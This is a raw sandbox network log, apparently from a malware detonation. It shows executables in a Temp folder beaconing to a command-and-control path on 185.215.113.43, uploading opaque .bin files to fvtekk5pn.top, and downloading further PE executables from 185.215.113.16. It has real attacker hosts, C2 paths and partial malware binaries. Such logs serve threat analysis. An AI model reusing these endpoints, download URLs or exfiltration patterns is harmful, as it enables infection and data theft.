Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49970	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:45.285465002 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 39 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007938001&unit=246122658369
Nov 21, 2024 14:11:46.735425949 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49974	34.116.198.130	80	1464	C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:46.116555929 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------HNvJfBVChrrHXwMOi593Qz Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 48 4e 76 4a 66 42 56 43 68 72 72 48 58 77 4d 4f 69 35 39 33 51 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 69 79 6f 6e 75 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1b 63 9c 64 3b df 73 a6 49 d3 df 2c 53 0f 33 55 78 f9 fe 59 ac a7 97 e1 89 0e 23 a2 1b 9c 08 67 91 3c e4 51 5b f6 12 11 c9 15 79 f3 82 8d 02 5f 78 8f 80 f2 52 0a 70 93 ce fe 4d a5 1f 83 75 f4 f6 b0 a5 10 59 94 4e 09 b8 b1 70 56 83 8f b9 c3 0a ca 0a f1 e1 2c a4 01 ee 10 4e fa 00 d0 e5 ee ed 50 eb 9d 0e 2d 52 04 3c d7 64 d9 6d 0e f6 06 5b 82 e8 e5 b1 4f 42 1c e6 2e 94 5b 22 84 ff 6f 4d a0 4c a3 77 76 e5 b3 a6 74 ee dd c9 bd 67 f9 8c 1e be 97 81 24 ef 91 6d 8b 9f 63 7d 64 e0 f1 dc ad c9 ee c9 47 ee e9 f1 d1 4b be bd a8 5b 06 b8 [TRUNCATED] Data Ascii: --------------------------HNvJfBVChrrHXwMOi593QzContent-Disposition: form-data; name="file"; filename="Riyonux.bin"Content-Type: application/octet-streamcd;sI,S3UxY#g<Q[y_xRpMuYNpV,NP-R<dm[OB.["oMLwvtg$mc}dGK[Lq6vG$)i[gm$$}~&Dki!v--------------------------HNvJfBVChrrHXwMOi593Qz--
Nov 21, 2024 14:11:47.482363939 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 13:11:47 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49976	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:47.408781052 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 14:11:48.760452032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:48 GMT Content-Type: application/octet-stream Content-Length: 2819072 Last-Modified: Thu, 21 Nov 2024 12:59:16 GMT Connection: keep-alive ETag: "673f2ea4-2b0400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 24 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +$G+`Ui` @ @.rsrc`2@.idata 8@ssbqmpcp*:@iyzbxbnx `+@.taggant@+"*@
Nov 21, 2024 14:11:48.760493994 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:48.760550022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:48.760607004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:48.760642052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:48.760680914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:48.760715008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:48.760741949 CET	552	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:48.760759115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:48.760797024 CET	1236	IN	Data Raw: 2c 38 89 f3 ff 18 a8 50 c5 9f 45 fa 1c a8 9a bf 02 9a 72 8b 10 28 ba d3 eb bc ae 81 da 02 a6 a7 f8 b2 76 2b 49 6e 2d e1 d1 1c af 7d 47 ab a8 fb 54 da a8 ae 9a 30 ca c8 9d ba 84 b3 62 f0 82 69 6c b1 28 75 dd e7 5a a9 1c eb b0 9f 90 37 22 0c 95 a0 Data Ascii: ,8PEr(v+In-}GT0bil(uZ7"iT-NL=kKYF$S}pE7GEmT}F>Lv~_@b9efy`Lp&XQPRTJzs173jL]m
Nov 21, 2024 14:11:48.880599976 CET	1236	IN	Data Raw: 17 02 5e be ce 81 63 19 5e a3 58 29 83 df 82 07 95 94 ad 00 68 f6 e1 59 21 1f 62 3f 86 14 22 0c 47 99 6d b0 4f f7 ac 6c cb a1 b5 66 5a 96 b4 80 1e 5c bf 50 07 df 5b a1 1d 52 b5 3c 30 1d 99 27 4a 3f 89 61 2f e3 d5 e3 44 db 55 70 25 c9 54 95 2b e2 Data Ascii: ^c^X)hY!b?"GmOlfZ\P[R<0'J?a/DUp%T+Z>Ri-;ve2FRc0.#a1Ebk6;F{i+r^1YOp-e K1VV#fv/U#Kqrz}[1,JinPXkR>9DREEIFM8*"H4r,: F4J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49993	34.116.198.130	80	1464	C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:49.735418081 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 70261 Content-Type: multipart/form-data; boundary=------------------------KqKo8wUFPjL0Z1gQuypRNH Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4b 71 4b 6f 38 77 55 46 50 6a 4c 30 5a 31 67 51 75 79 70 52 4e 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 67 65 6a 75 63 75 6e 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 8e a7 94 4d b5 d8 f2 02 b5 05 d1 32 35 c4 d6 ec af 11 3a 7d 34 07 30 0a 78 f2 63 0f a8 fd ad f6 dc 11 de 3e 18 a9 27 e6 1d 46 7d 80 09 3c 17 37 cc a9 dc b7 72 ec c6 31 90 dd 75 a9 cf b7 30 27 09 5a 79 ff b1 bd 85 09 c9 07 ae ef 86 c9 c0 70 49 ec de 91 ca 01 69 3c d0 84 8a 7d 2c 57 4e 76 da bf 40 c1 28 eb 00 6b bd 3c 1e 0e 6c d2 97 39 2b d9 82 90 fa d4 72 9a 27 32 20 80 be 29 ff 86 2f 46 b7 1d 2d 34 60 3a 43 40 e1 b2 ed 43 c6 5f 9b 5a e9 38 b7 b7 2e 06 b5 47 19 d5 4f 0e d5 a6 5a b9 ef 43 7d 61 7b 2a 5e 04 b0 38 d2 3b 6b [TRUNCATED] Data Ascii: --------------------------KqKo8wUFPjL0Z1gQuypRNHContent-Disposition: form-data; name="file"; filename="Yigejucun.bin"Content-Type: application/octet-streamM25:}40xc>'F}<7r1u0'ZypIi<},WNv@(k<l9+r'2 )/F-4`:C@C_Z8.GOZC}a{^8;k/T@^T25?,Z1S=yWww,wAZgS-^:B#wK(,a[g4!-/?KK4}_Q Bc!jfY--:`n+e&~\)tH8+zw6qj\/"'~Qz<3 \|]'0@xr%T \(+@{zW4gP,s8OLwvTR+d&\|u_x\8OF~:_ ]LGWj06{/a`Fdv-`91SdaQa~%BG j1 uh1'&OY'<6Z[wEdu/d?{&f=9#K:f4sTb!'e\J$;tfQy[^OLYzP)FcX.Dm2i)3@dw41GMr5_vYH1"rZN/+ [TRUNCATED]
Nov 21, 2024 14:11:49.854984999 CET	2472	OUT	Data Raw: da 6d ee a3 e7 ce 7e 95 ed 8d 9a 01 fd df 8e df 4c e3 99 f6 ab e3 56 68 c1 c1 ed ff 74 3f 22 6d e0 02 18 b8 de 2d a9 14 6f f4 d5 79 c8 40 7d 75 f6 eb 25 e8 77 ec 11 bd 7d f8 2f 88 5c b8 33 64 ae d2 b4 6b b7 af 86 60 75 bc e5 36 c6 d8 28 a8 95 cf Data Ascii: m~LVht?"m-oy@}u%w}/\3dk`u6(sVhFk77z2UO&nS_EG-{9$ZWkkXx=B`vW8Z/w.o0dm.glU?xQ8~*gA(F6(Ie4aoqLk90
Nov 21, 2024 14:11:49.855083942 CET	4944	OUT	Data Raw: 97 38 15 d9 f5 06 61 7c f4 33 cd d7 35 6a 25 e7 a1 e9 d1 fc 62 19 97 44 69 60 73 92 f3 d4 57 76 e1 a3 38 36 9b 9b bf ba 66 bf 6d c0 f1 6a d6 7f 74 01 18 36 64 e4 5d b5 49 66 0b f2 64 d2 4c c4 7a ff d1 41 ff ab f1 2d 45 11 f7 9e 95 28 95 df d2 7a Data Ascii: 8a\|35j%bDi`sWv86fmjt6d]IfdLzA-E(zX%5`k=zm 0]TVYYi'XxHiS5JaUk"1+uSpiRUpVg.fB0\|$G! g6~F!N+
Nov 21, 2024 14:11:49.855168104 CET	2472	OUT	Data Raw: 69 a0 9e 68 0d 9b b2 8a b9 82 64 ef bb de 1e 80 67 a8 35 a6 33 1b 7a b3 1a e2 c3 80 cc 02 f0 8d ce a0 c9 c8 42 a4 fa 6d b2 56 1f d4 43 6b 5d 0e 3c 9d 34 a1 6c 41 1d b9 ad 01 76 db f7 93 43 3d 79 ef 1b 68 ac e1 41 15 97 a4 d3 1c fd d1 d9 4a ba 89 Data Ascii: ihdg53zBmVCk]<4lAvC=yhAJoBqO0}L QE wj Gej6s'h#PcL{s$Me<~-"F`-)I<oBHhDOe>#Jy0 6VvCk+(G"r3ho
Nov 21, 2024 14:11:49.855223894 CET	2472	OUT	Data Raw: eb b3 85 98 a2 c6 c1 6b dd ef f0 17 11 fd 61 52 f9 1c 7d 85 40 8b 73 81 ac 2c 8a 77 b6 f7 3d 97 76 da 75 7e c9 b6 87 63 c8 97 ff 10 81 bc 74 e6 75 4c 1c ec 79 04 3a 64 42 d6 a3 90 66 dd 2d 47 9b e3 e3 95 a4 1a 1a 93 8c 7e 3a 50 17 20 e2 a2 79 3d Data Ascii: kaR}@s,w=vu~ctuLy:dBf-G~:P y=yv0\G`vHjL^S},r2v_YOva}+\C^a0:a8"]'2;%`:%MF#P6.knv;<b]@
Nov 21, 2024 14:11:49.855401039 CET	2472	OUT	Data Raw: 9e 53 b5 63 4d a6 41 65 7f a6 e8 f4 47 82 0a 6c 3c 7a 26 87 52 78 50 3a 29 f7 c9 9f 9c 4b be 05 9b 33 ba 42 04 40 a3 12 91 cf 24 ae 24 59 aa 7e dd 03 95 fd fe e9 50 34 96 a7 a2 4a cb fd f5 20 f4 a5 54 30 e2 85 4d 04 2b 5c 01 6e 5b 18 1e f6 25 ba Data Ascii: ScMAeGl<z&RxP:)K3B@$$Y~P4J T0M+\n[%O#}sIN :~Sa@tYcgb3`}#DE}b4%u4%(?FDg}YI\|\|vo$,J}8G!&9np'@\kRsoH5
Nov 21, 2024 14:11:49.855568886 CET	7416	OUT	Data Raw: 82 e3 e6 a7 0d 0f 4b 05 59 0a f0 59 ea be a5 da 39 53 14 41 a9 c8 a0 6a 69 f7 79 72 a9 d6 a2 57 eb b6 e6 17 36 1b 4c 4a e3 aa a8 4f ea bf 17 bd d0 f9 35 fb b5 b2 dc 07 42 f3 7b 06 04 e5 d5 d0 40 00 ae 9c 0d a5 95 10 66 9b ee fe 9f 8b 78 b9 f9 b7 Data Ascii: KYY9SAjiyrW6LJO5B{@fxc> -pHJA2[V8Os09_*:Uryb!((_~hjxn%ojvD$H9--+V{~zn)%>%Gl2mApIY`"}fXbH
Nov 21, 2024 14:11:49.855940104 CET	2472	OUT	Data Raw: 13 8c 7c 17 27 38 c4 f0 6c 55 ee 78 98 97 21 9f cd a6 9f 96 44 16 8e ba dc 03 88 5c cb db 0c 43 94 d4 0f 31 63 f9 69 a5 a8 e9 b0 cb 4a 6a a1 e1 be 4b 90 d9 7d 8c 7c a8 38 2b aa ab 81 0a ff f3 25 04 a9 41 4d b8 bc 44 0b a1 8b b0 7d 46 a7 fc fa 37 Data Ascii: \|'8lUx!D\C1ciJjK}\|8+%AMD}F7t*R\%C+.:w5uq;6G+wBT`NuRoe1vjTN>hvG:AG(.u`(v#g}_8Q\q^jL/m3Eb098
Nov 21, 2024 14:11:49.974833965 CET	2472	OUT	Data Raw: 0d 8e 33 bc 90 a0 ae 9e 91 62 c0 a5 c3 97 89 de 9d 34 db 4a 40 69 d3 3f 0f 14 5b 8b 00 20 d2 e3 6f 28 b7 42 22 52 fe bf ac e4 87 60 ab 1b a5 38 ec 58 31 e0 12 15 e2 c5 67 f2 e4 ce 5b 71 7b f8 cc fc c8 b5 27 61 47 1b f6 0f 88 91 38 86 4d ad 7a cb Data Ascii: 3b4J@i?[ o(B"R`8X1g[q{'aG8MzR8X-xPN-"2c8&0+2o8w<FL<hY2Xb+ ^yfM#$Gr~ WL6kz4XZ-m[Xn#Jt,~a-#~VQ
Nov 21, 2024 14:11:49.974874020 CET	2472	OUT	Data Raw: 72 75 56 df 3c a9 c1 aa 4d 73 e5 4a 46 11 b1 f3 fd 25 76 1f 58 67 b8 f0 98 e0 08 1c 24 69 36 b9 e3 0d 5a 6b cc ce 51 a3 fd 65 23 7c ed 96 ee 66 e7 bb 8f c1 d1 c4 39 c3 b4 b4 17 6e 71 82 51 5a 48 d7 4c f2 80 82 9e cf 87 f7 00 49 55 b4 46 87 99 ba Data Ascii: ruV<MsJF%vXg$i6ZkQe#\|f9nqQZHLIUFH=:MMV4c4/ht/a)Agt,Xl{j0YW?;ne(-j{&`"icz;0KV"j))tEIqM!2-oQ=qn7DCjVb{-94F
Nov 21, 2024 14:11:49.974909067 CET	4944	OUT	Data Raw: c4 09 54 0b bf 51 b3 0b 5c ab 5f 6e 4b ce c5 24 61 cf fd d9 58 66 b3 ac 0a 4d 00 35 7f 05 ee 95 27 8d b7 51 be 4d 6f e2 94 e1 03 fb b3 93 29 43 f0 db a2 71 b4 30 6a 05 e1 b2 17 7d 3d 07 9e 09 37 07 c2 96 56 28 a5 8b 12 8f 32 8e cb ac 1a 94 a6 5e Data Ascii: TQ\_nK$aXfM5'QMo)Cq0j}=7V(2^DKF%sy2k98_Z'i3~d9cD5S;W?!Fr>g,cOx+O-=?PdIS-r9i
Nov 21, 2024 14:11:51.471827030 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 13:11:51 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50011	185.215.113.16	80	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:52.919907093 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 21, 2024 14:11:54.301110029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:54 GMT Content-Type: application/octet-stream Content-Length: 2819072 Last-Modified: Thu, 21 Nov 2024 12:59:18 GMT Connection: keep-alive ETag: "673f2ea6-2b0400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 24 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +$G+`Ui` @ @.rsrc`2@.idata 8@ssbqmpcp*:@iyzbxbnx `+@.taggant@+"*@
Nov 21, 2024 14:11:54.301176071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:54.301188946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:54.301254988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:54.301265955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:54.301276922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:54.301289082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:54.301404953 CET	1236	IN	Data Raw: ee bc af 50 c6 d7 b0 85 4d e8 ae 0d 3e 3e 4b 9f f1 23 55 af 30 01 43 ef 02 ae 64 8e 97 21 f4 7b 25 30 1a 2b 9d 3f 35 6f f5 67 6b 95 ac 05 e1 8e 60 ad 90 9f 24 b2 a3 d3 4f ff ad d1 5f b5 e7 78 6c ba c0 4f c6 b3 bc 37 32 9e 8f d5 41 98 ad 00 15 4f Data Ascii: PM>>K#U0Cd!{%0+?5ogk`$O_xlO72AOR6e\FzqEZ~i@aXHKZK &W6ykB%Hdb_og}Lk!Ir~Pw&aWFokr79jM/<BfA.T#z{
Nov 21, 2024 14:11:54.301418066 CET	1236	IN	Data Raw: e2 bb 86 35 8a bb 8a a9 f1 48 0e 95 47 90 84 1e 11 88 c0 91 be 01 63 ae 00 33 6a 45 6a f0 ba 50 10 88 7a af ee d0 7e 4a f9 c1 3c cd 6a bb 46 4f 10 dc 86 5d be f4 56 9b 3c 17 60 51 12 90 22 76 c0 8f 1a f1 47 3c b3 c7 6a 30 92 50 d0 9f 3a fd d8 78 Data Ascii: 5HGc3jEjPz~J<jFO]V<`Q"vG<j0P:xi*v@($`[n%FnX@a{e3HdGB<x~CfAqZxb:@j Pvu?R!E)<,10$]vHk't9C[
Nov 21, 2024 14:11:54.301429987 CET	1236	IN	Data Raw: 2a 9a bf 46 c4 f8 86 7a 1d d3 f6 4e 55 54 b5 1c 5c c1 88 5d 1a ab 6a e6 46 e6 75 6e 3b 58 5b eb 34 93 74 60 5c 37 68 8c df e5 db 79 70 a2 7b b6 20 b0 5a 3f 4a d1 37 69 60 c0 24 69 2f e1 56 f2 d8 ab 52 9e 5e e5 4a 48 59 6a 1a 50 d2 0b 9f f9 8d 56 Data Ascii: *FzNUT\]jFun;X[4t`\7hyp{ Z?J7i`$i/VR^JHYjPV /C"mS>n[n~fsZkh?g;A-bfN(x0?2Pt]ehm[ze'h;4gtg0/FJ3fOt (c/yeZh1~^"
Nov 21, 2024 14:11:54.420785904 CET	1236	IN	Data Raw: 52 f3 cf e0 78 a4 a5 71 7c 18 ab 8c b3 c4 68 b0 4c ab b4 10 4d a4 46 7d 3f 8a d2 64 49 b3 d1 9f 4c b4 4c 43 0f 9f 18 ba bd 57 e1 55 2b 71 83 1e 12 7e 5e 4c 29 d2 8e 8d 10 c2 b8 3c 32 df 52 43 42 dd 50 4a 3c e1 47 de 90 9b b1 c0 80 d5 55 0a 31 58 Data Ascii: Rxq\|hLMF}?dILLCWU+q~^L)<2RCBPJ<GU1XKB9>'TMTt!XAqc.sM KF9HfZwpb59)Gx~2ZY6^9N(pA.tGKPd,6R=lj$p_2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50016	34.107.221.82	80	5724	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:54.121531963 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
